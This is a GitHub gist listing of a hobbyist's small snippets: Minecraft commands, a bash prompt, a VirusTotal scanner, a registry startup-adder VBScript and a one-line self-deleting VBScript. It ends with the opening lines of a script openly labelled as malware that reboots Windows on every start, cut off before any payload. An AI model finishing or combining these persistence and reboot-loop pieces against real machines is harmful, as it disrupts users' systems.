Skip to content

Instantly share code, notes, and snippets.

@DarkCat09
DarkCat09 / testfile.txt
Created August 3, 2020 13:10
Test file for my CPP-project/Тестовый файл для моего CPP-проекта
123
ghvbhjh
Hello, Мир!
@DarkCat09
DarkCat09 / command.txt
Last active August 4, 2020 14:43
Information book for my redstone home in Minecraft
/give @p written_book 1 0 {pages:["[\"\",{\"text\":\"\\n\"},{\"text\":\"Mechanic\",\"bold\":true,\"color\":\"gray\"},{\"text\":\" Redstone\",\"bold\":true,\"color\":\"red\"},{\"text\":\" Home\",\"bold\":true,\"color\":\"green\"},{\"text\":\"\\n\",\"color\":\"reset\"},{\"text\":\"\\u041c\\u0435\\u0445\\u0430\\u043d\\u0438\\u0447\\u0435\\u0441\\u043a\\u0438\\u0439\",\"color\":\"gray\"},{\"text\":\" \\u0440\\u0435\\u0434\\u0441\\u0442\\u043e\\u0443\\u043d\",\"color\":\"red\"},{\"text\":\"-\",\"color\":\"reset\"},{\"text\":\"\\u0434\\u043e\\u043c\",\"color\":\"green\"},{\"text\":\"\\n \",\"color\":\"reset\"}]","[\"\",{\"text\":\"This is the home with some redstone-mechanisms.\\n\\u042d\\u0442\\u043e \\u0434\\u043e\\u043c \\u0441 \\u043d\\u0435\\u0441\\u043a\\u043e\\u043b\\u044c\\u043a\\u0438\\u043c\\u0438 \\u0440\\u0435\\u0434\\u0441\\u0442\\u043e\\u0443\\u043d \\u043c\\u0435\\u0445\\u0430\\u043d\\u0438\\u0437\\u043c\\u0430\\u043c\\u0438.\\n\\n\"},{\"text\":\"Hidden enter\",\"bold\":true,\"clickEvent\":{\"action\
@DarkCat09
DarkCat09 / PS1.sh
Last active October 11, 2022 07:56
My beautiful and comfortable .bashrc
PS1='\e[0;36m╭──\e[0m[ \e[1;92m\u@\h\e[0m ]\e[0;36m─\e[0m[ \e[1;34m\W\e[0m ]\e[0;36m─\e[0m[ \e[1;33m`hostname -I`\e[0m ]$(ERR="$?"; if [[ "$ERR" != "0" ]]; then printf "\x1b[0;36m─\x1b[0m(%.*s)" $ERR $ERR; fi)\n\e[0;36m╰─➤\e[0m'
@DarkCat09
DarkCat09 / add_to_startup.vbs
Last active September 11, 2020 12:59
Script for adding programs to startup using registry
'Script for adding programs to startup using registry
'Author: Chechkenev Andrew (DarkCat09/CodePicker13)
Option Explicit
Dim Wsh, pathToProgram, isForAllUsers, root, pathToProgramArr
Set Wsh = CreateObject("WScript.Shell")
pathToProgram = InputBox("Enter full path to program", "AddToStartup")
isForAllUsers = MsgBox("Add this program to startup for all users?", vbYesNo, "AddToStartup")
@DarkCat09
DarkCat09 / README.md
Created September 11, 2020 12:56
Test script for scanning files on VT

VirusTotal Scanning Python Script

What is it?

This is my test script on Python for scanning files on VirusTotal.

How to use

On eight (8) line of code replace <YOUR_API_KEY> on your VT api-key, save file, then start it, using command: python path_to_script/virustotal_scanning.py path_to_file/to_scan.exe

@DarkCat09
DarkCat09 / selfdelete.vbs
Last active October 23, 2020 14:52
Self-deleting script in one line!
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
@DarkCat09
DarkCat09 / text_reverse.js
Created February 9, 2021 08:38
Text- or Word-Reversing JavaScript / Скрипт, реверсирующий слово или текст
var word = 'слово'; // <-- your text here
var reversed = '';
for (var i = 0; i <= word.length; i++) {
reversed += word.charAt(word.length - i);
}
@DarkCat09
DarkCat09 / winrestart.vbs
Last active October 11, 2022 08:08
Malware VBScript that reboots system on each start / Вредоносный VisualBasic-скрипт, перезагружающий систему при каждом запуске
' Просто вредоносный скрипт
' Just malware script
' by DarkCat09
Dim Wsh, Fso
Set Wsh = CreateObject("WScript.Shell")
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim sysdrive, sysdir
sysdrive = Fso.GetSpecialFolder(0).Drive